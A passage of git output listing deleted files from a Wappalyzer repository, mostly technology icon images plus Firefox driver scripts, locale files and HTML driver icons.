Wappalyzer/drivers/firefox/data/images/icons/WP Rocket.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Web Optimizer.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Web2py.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/WebGUI.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/WebPublisher.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Webix.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/WebsPlanet.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Websale.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/WebsiteBaker.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Webtrekk.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Webtrends.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Weebly.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/WikkaWiki.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Windows CE.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Windows Server.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Wink.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Winstone Servlet Container.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Wix.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Wolf CMS.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/WooCommerce.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Woopra.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/WordPress Super Cache.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Wordpress.png delete mode 100755 Wappalyzer/drivers/firefox/data/images/icons/Wowza Media Server.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/X-Cart.png delete mode 100755 Wappalyzer/drivers/firefox/data/images/icons/XAMPP.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/XMB.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/XOOPS.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/XRegExp.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Xajax.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Xanario.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/XenForo.png delete mode 100755 Wappalyzer/drivers/firefox/data/images/icons/XiTi.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Xitami.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/YUI Doc.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/YUI.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/YaBB.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Yahoo Advertising.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Yahoo! Ecommerce.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Yahoo! Web Analytics.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Yandex.Direct.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Yandex.Metrika.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Yieldlab.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Yii.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/YouTube.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/ZK.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/ZURB Foundation.png delete mode 100755 Wappalyzer/drivers/firefox/data/images/icons/Zabbix.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Zanox.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Zen Cart.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Zend.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Zepto.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Zeuscart.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Zinnia.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Zope.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/amCharts.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/basket.js.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/blip.tv.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/cPanel.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/cgit.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/comScore.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/dashCommerce.png delete mode 100755 Wappalyzer/drivers/firefox/data/images/icons/debut.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/default.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/dwhttpd.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/e107.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/eDevice SmartStack.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/eHTTP.png delete mode 100755 Wappalyzer/drivers/firefox/data/images/icons/eSyndiCat.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/eZ Publish.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/flask.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/git.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/gitweb.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/gunicorn.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/iCongo.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/iWeb.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/io4-CMS.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/jQTouch.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/jQuery Mobile.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/jQuery Sparklines.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/jQuery UI.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/jQuery.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/jqPlot.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/libwww-perl-daemon.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/lighttpd.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/math.js.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/mini_httpd.png delete mode 100755 Wappalyzer/drivers/firefox/data/images/icons/mod_auth_pam.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/mod_fastcgi.png delete mode 100755 Wappalyzer/drivers/firefox/data/images/icons/mod_jk.png delete mode 100755 Wappalyzer/drivers/firefox/data/images/icons/mod_perl.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/mod_python.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/mod_rack.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/mod_rails.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/mod_ssl.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/mod_wsgi.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/node.js.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/nopCommerce.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/openEngine.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/osCSS.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/osCommerce.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/ownCloud.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/papaya CMS.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/phpAlbum.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/phpBB.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/phpCMS.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/phpDocumentor.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/phpMyAdmin.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/phpPgAdmin.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/phpSQLiteCMS.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/phpwind.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/prettyPhoto.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/punBB.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/reCAPTCHA.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/sIFR.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/sNews.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/script.aculo.us.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/spin.js.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/swift.engine.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/three.js.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/thttpd.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/total.js.png delete mode 100755 Wappalyzer/drivers/firefox/data/images/icons/uCore.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/vBulletin.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/viennaCMS.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/webEdition.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/xCharts.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/xtCommerce.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/xui.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/yepnope.js.png delete mode 100644 Wappalyzer/drivers/firefox/data/js/panel.js delete mode 100644 Wappalyzer/drivers/firefox/data/js/tab.js delete mode 100644 Wappalyzer/drivers/firefox/data/panel.html delete mode 100644 Wappalyzer/drivers/firefox/doc/main.md delete mode 100644 Wappalyzer/drivers/firefox/images/icon128.png delete mode 100644 Wappalyzer/drivers/firefox/images/icon128_hot.png delete mode 100644 Wappalyzer/drivers/firefox/images/icon16.png delete mode 100644 Wappalyzer/drivers/firefox/images/icon16_hot.png delete mode 100644 Wappalyzer/drivers/firefox/images/icon48.png delete mode 100644 Wappalyzer/drivers/firefox/images/icon48_hot.png delete mode 100644 Wappalyzer/drivers/firefox/images/icon64.png delete mode 100644 Wappalyzer/drivers/firefox/images/icon64_hot.png delete mode 100644 Wappalyzer/drivers/firefox/lib/driver.js delete mode 100644 Wappalyzer/drivers/firefox/lib/wappalyzer.js delete mode 100755 Wappalyzer/drivers/firefox/locale/de-DE.properties delete mode 100755 Wappalyzer/drivers/firefox/locale/en-GB.properties delete mode 100755 Wappalyzer/drivers/firefox/locale/en-US.properties delete mode 100755 Wappalyzer/drivers/firefox/locale/es-ES.properties delete mode 100644 Wappalyzer/drivers/firefox/locale/fr-FR.properties delete mode 100755 Wappalyzer/drivers/firefox/locale/nl-NL.properties delete mode 100644 Wappalyzer/drivers/firefox/locale/ro-RO.properties delete mode 100644 Wappalyzer/drivers/firefox/package.json delete mode 100644 Wappalyzer/drivers/html/images/icon.png delete mode 100644 Wappalyzer/drivers/html/images/icons/1C-Bitrix.png delete mode 100644 Wappalyzer/drivers/html/images/icons/1und1.png delete mode 100644 Wappalyzer/drivers/html/images/icons/2z Project.png delete mode 100755 Wappalyzer/drivers/html/images/icons/3DM.png delete mode 100644 Wappalyzer/drivers/html/images/icons/3dCart.png delete mode 100755 Wappalyzer/drivers/html/images/icons/3ware.png delete mode 100644 Wappalyzer/drivers/html/images/icons/AMPcms.png delete mode 100644 Wappalyzer/drivers/html/images/icons/AOLserver.png delete mode 100644 Wappalyzer/drivers/html/images/icons/AT Internet Analyzer.png delete mode 100644 Wappalyzer/drivers/html/images/icons/AT Internet XiTi.png delete mode 100755 Wappalyzer/drivers/html/images/icons/ATEN.png delete mode 100644 Wappalyzer/drivers/html/images/icons/ATG Web Commerce.png delete mode 100644 Wappalyzer/drivers/html/images/icons/AWStats.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Accessible Portal.png delete mode 100644 Wappalyzer/drivers/html/images/icons/AdInfinity.png delete mode 100644 Wappalyzer/drivers/html/images/icons/AdRiver.png delete mode 100644 Wappalyzer/drivers/html/images/icons/AdRoll.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Adcash.png delete mode 100644 Wappalyzer/drivers/html/images/icons/AddShoppers.png delete mode 100644 Wappalyzer/drivers/html/images/icons/AddThis.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Adobe CQ5.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Adobe ColdFusion.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Adobe GoLive.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Adobe Muse.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Adobe RoboHelp.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Advanced Web Stats.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Advert Stream.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Adzerk.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Airee.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Akamai.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Algolia Realtime Search.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Allegro RomPager.png delete mode 100755 Wappalyzer/drivers/html/images/icons/Alloy.png delete mode 100644 Wappalyzer/drivers/html/images/icons/AlloyUI.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Amaya.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Ametys.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Amiro.CMS.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Anchor CMS.png delete mode 100644 Wappalyzer/drivers/html/images/icons/AngularJS.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Apache HBase.png delete mode 100755 Wappalyzer/drivers/html/images/icons/Apache Hadoop.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Apache JSPWiki.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Apache Tomcat.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Apache Traffic Server.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Apache Wicket.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Apache.png delete mode 100644 Wappalyzer/drivers/html/images/icons/AppNexus.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Arc Forum.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Artifactory Web Server.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Artifactory.png delete mode 100644 Wappalyzer/drivers/html/images/icons/AsciiDoc.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Atlassian Bitbucket.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Atlassian Confluence.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Atlassian FishEye.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Atlassian Jira Issue Collector.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Atlassian Jira.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Avangate.png delete mode 100644 Wappalyzer/drivers/html/images/icons/BIGACE.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Backbone.js.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Banshee.png delete mode 100755 Wappalyzer/drivers/html/images/icons/BaseHTTP.png delete mode 100644 Wappalyzer/drivers/html/images/icons/BigDump.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Bigcommerce.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Bigware.png delete mode 100644 Wappalyzer/drivers/html/images/icons/BittAds.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Blip.tv.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Blogger.png delete mode 100644 Wappalyzer/drivers/html/images/icons/BlueKai.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Bluefish.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Boa.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Bolt.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Bonfire.png delete mode 100755 Wappalyzer/drivers/html/images/icons/Brother.png delete mode 100644 Wappalyzer/drivers/html/images/icons/BrowserCMS.png delete mode 100644 Wappalyzer/drivers/html/images/icons/BugSense.png delete mode 100644 Wappalyzer/drivers/html/images/icons/BugSnag.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Bugzilla.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Burning Board.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Business Catalyst.png delete mode 100644 Wappalyzer/drivers/html/images/icons/BuySellAds.png delete mode 100644 Wappalyzer/drivers/html/images/icons/C++.png delete mode 100644 Wappalyzer/drivers/html/images/icons/CFML.png delete mode 100644 Wappalyzer/drivers/html/images/icons/CKEditor.png delete mode 100644 Wappalyzer/drivers/html/images/icons/CMS Made Simple.png delete mode 100644 Wappalyzer/drivers/html/images/icons/CMSimple.png delete mode 100644 Wappalyzer/drivers/html/images/icons/CO2Stats.png delete mode 100644 Wappalyzer/drivers/html/images/icons/CPG Dragonfly.png delete mode 100644 Wappalyzer/drivers/html/images/icons/CS Cart.png delete mode 100644 Wappalyzer/drivers/html/images/icons/CacheFly.png delete mode 100644 Wappalyzer/drivers/html/images/icons/CakePHP.png delete mode 100755 Wappalyzer/drivers/html/images/icons/Canon HTTP Server.png delete mode 100755 Wappalyzer/drivers/html/images/icons/Canon.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Carbon Ads.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Cargo.png delete mode 100755 Wappalyzer/drivers/html/images/icons/Catwalk.png delete mode 100644 Wappalyzer/drivers/html/images/icons/CentOS.png delete mode 100644 Wappalyzer/drivers/html/images/icons/CenteHTTPd.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Chameleon.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Chamilo.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Chartbeat.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Cherokee.png delete mode 100755 Wappalyzer/drivers/html/images/icons/CherryPy.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Chitika.png delete mode 100644 Wappalyzer/drivers/html/images/icons/ClickHeat.png delete mode 100644 Wappalyzer/drivers/html/images/icons/ClickTale.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Clicky.png delete mode 100644 Wappalyzer/drivers/html/images/icons/CloudFlare.png delete mode 100755 Wappalyzer/drivers/html/images/icons/Cloudera.png delete mode 100644 Wappalyzer/drivers/html/images/icons/CodeIgniter.png delete mode 100644 Wappalyzer/drivers/html/images/icons/CodeMirror.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Commerce Server.png delete mode 100755 Wappalyzer/drivers/html/images/icons/CompaqHTTPServer.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Concrete5.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Connect.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Contao.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Contenido.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Contens.png delete mode 100644 Wappalyzer/drivers/html/images/icons/ContentBox.png delete mode 100644 Wappalyzer/drivers/html/images/icons/ConversionLab.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Coppermine.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Cosmoshop.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Cotonti.png delete mode 100644 Wappalyzer/drivers/html/images/icons/CouchDB.png delete mode 100644 Wappalyzer/drivers/html/images/icons/CppCMS.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Craft CMS.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Crazy Egg.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Criteo.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Cross Pixel.png delete mode 100644 Wappalyzer/drivers/html/images/icons/CubeCart.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Cufon.png delete mode 100644 Wappalyzer/drivers/html/images/icons/D3.png delete mode 100644 Wappalyzer/drivers/html/images/icons/DAV.png delete mode 100644 Wappalyzer/drivers/html/images/icons/DHTMLX.png delete mode 100644 Wappalyzer/drivers/html/images/icons/DTG.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Dancer.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Danneo CMS.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Dart.png delete mode 100755 Wappalyzer/drivers/html/images/icons/Darwin.png delete mode 100644 Wappalyzer/drivers/html/images/icons/DataLife Engine.png delete mode 100644 Wappalyzer/drivers/html/images/icons/David Webbox.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Debian.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Decorum.png delete mode 100644 Wappalyzer/drivers/html/images/icons/DedeCMS.png delete mode 100755 Wappalyzer/drivers/html/images/icons/Dell.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Demandware.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Deployd.png delete mode 100644 Wappalyzer/drivers/html/images/icons/DirectAdmin.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Discourse.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Disqus.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Django CMS.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Django.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Dojo.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Dokeos.png delete mode 100644 Wappalyzer/drivers/html/images/icons/DokuWiki.png delete mode 100644 Wappalyzer/drivers/html/images/icons/DotNetNuke.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Dotclear.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Doxygen.png delete mode 100644 Wappalyzer/drivers/html/images/icons/DreamWeaver.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Drupal Commerce.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Drupal.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Dynamicweb.png delete mode 100644 Wappalyzer/drivers/html/images/icons/E-Merchant.png delete mode 100644 Wappalyzer/drivers/html/images/icons/ELOG HTTP.png delete mode 100644 Wappalyzer/drivers/html/images/icons/ELOG.png delete mode 100644 Wappalyzer/drivers/html/images/icons/EPiServer.png delete mode 100644 Wappalyzer/drivers/html/images/icons/EPrints.png delete mode 100644 Wappalyzer/drivers/html/images/icons/ESERV-10.png delete mode 100755 Wappalyzer/drivers/html/images/icons/EWS-NIC4.png delete mode 100755 Wappalyzer/drivers/html/images/icons/Ecodoo.png delete mode 100644 Wappalyzer/drivers/html/images/icons/EdgeCast.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Eloqua.png delete mode 100644 Wappalyzer/drivers/html/images/icons/EmbedThis Appweb.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Embedthis-http.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Ember.js.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Enyo.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Epom.png delete mode 100755 Wappalyzer/drivers/html/images/icons/Erlang.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Exhibit.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Express.png delete mode 100644 Wappalyzer/drivers/html/images/icons/ExpressionEngine.png delete mode 100644 Wappalyzer/drivers/html/images/icons/ExtJS.png delete mode 100644 Wappalyzer/drivers/html/images/icons/FAST ESP.png delete mode 100644 Wappalyzer/drivers/html/images/icons/FAST Search for SharePoint.png delete mode 100644 Wappalyzer/drivers/html/images/icons/FWP.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Fact Finder.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Fat-Free Framework.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Fedora.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Fireblade.png delete mode 100644 Wappalyzer/drivers/html/images/icons/FlashCom.png delete mode 100644 Wappalyzer/drivers/html/images/icons/FlexCMP.png delete mode 100644 Wappalyzer/drivers/html/images/icons/FluxBB.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Flyspray.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Font Awesome.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Fortune3.png delete mode 100644 Wappalyzer/drivers/html/images/icons/FreeBSD.png delete mode 100644 Wappalyzer/drivers/html/images/icons/FreeTextBox.png delete mode 100644 Wappalyzer/drivers/html/images/icons/FrontPage.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Fusion Ads.png delete mode 100644 Wappalyzer/drivers/html/images/icons/G-WAN.png delete mode 100644 Wappalyzer/drivers/html/images/icons/GX WebManager.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Gallery.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Gambio.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Gauges.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Gentoo.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Get Satisfaction.png delete mode 100644 Wappalyzer/drivers/html/images/icons/GetSimple CMS.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Ghost.png delete mode 100644 Wappalyzer/drivers/html/images/icons/GitBook.png delete mode 100644 Wappalyzer/drivers/html/images/icons/GitLab.png delete mode 100644 Wappalyzer/drivers/html/images/icons/GlassFish.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Glyphicons.png delete mode 100644 Wappalyzer/drivers/html/images/icons/GoAhead.png delete mode 100644 Wappalyzer/drivers/html/images/icons/GoStats.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Google AdSense.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Google Analytics.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Google App Engine.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Google Charts.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Google Code Prettify.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Google Font API.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Google Friend Connect.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Google Maps.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Google PageSpeed.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Google Sites.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Google Tag Manager.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Google Wallet.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Google Web Toolkit.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Graffiti CMS.png delete mode 100755 Wappalyzer/drivers/html/images/icons/Grandstream.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Gravatar.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Gravity Insights.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Green Valley CMS.png delete mode 100755 Wappalyzer/drivers/html/images/icons/HP ChaiServer.png delete mode 100755 Wappalyzer/drivers/html/images/icons/HP Compact Server.png delete mode 100755 Wappalyzer/drivers/html/images/icons/HP ProCurve.png delete mode 100755 Wappalyzer/drivers/html/images/icons/HP System Management.png delete mode 100755 Wappalyzer/drivers/html/images/icons/HP iLO.png delete mode 100755 Wappalyzer/drivers/html/images/icons/HP.png delete mode 100644 Wappalyzer/drivers/html/images/icons/HTTP-Server.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Handlebars.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Happy ICS Server.png delete mode 100644 Wappalyzer/drivers/html/images/icons/HeadJS.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Hello Bar.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Hiawatha.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Highcharts.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Highstock.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Hippo.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Hogan.js.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Hotaru CMS.png delete mode 100644 Wappalyzer/drivers/html/images/icons/HubSpot.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Hybris.png delete mode 100644 Wappalyzer/drivers/html/images/icons/IBM Coremetrics.png delete mode 100644 Wappalyzer/drivers/html/images/icons/IBM HTTP Server.png delete mode 100644 Wappalyzer/drivers/html/images/icons/IBM Tivoli Storage Manager.png delete mode 100644 Wappalyzer/drivers/html/images/icons/IBM WebSphere Commerce.png delete mode 100644 Wappalyzer/drivers/html/images/icons/IBM WebSphere Portal.png delete mode 100644 Wappalyzer/drivers/html/images/icons/IIS.png delete mode 100644 Wappalyzer/drivers/html/images/icons/IPB.png delete mode 100644 Wappalyzer/drivers/html/images/icons/ImpressCMS.png delete mode 100644 Wappalyzer/drivers/html/images/icons/ImpressPages.png delete mode 100644 Wappalyzer/drivers/html/images/icons/InProces.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Incapsula.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Indexhibit.png delete mode 100755 Wappalyzer/drivers/html/images/icons/Indico.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Indy.png delete mode 100644 Wappalyzer/drivers/html/images/icons/InstantCMS.png delete mode 100644 Wappalyzer/drivers/html/images/icons/Intel Active Management Technology.png delete mode 100644 Wappalyzer/drivers/html/images/icons/IntenseDebate.png delete mode 100644 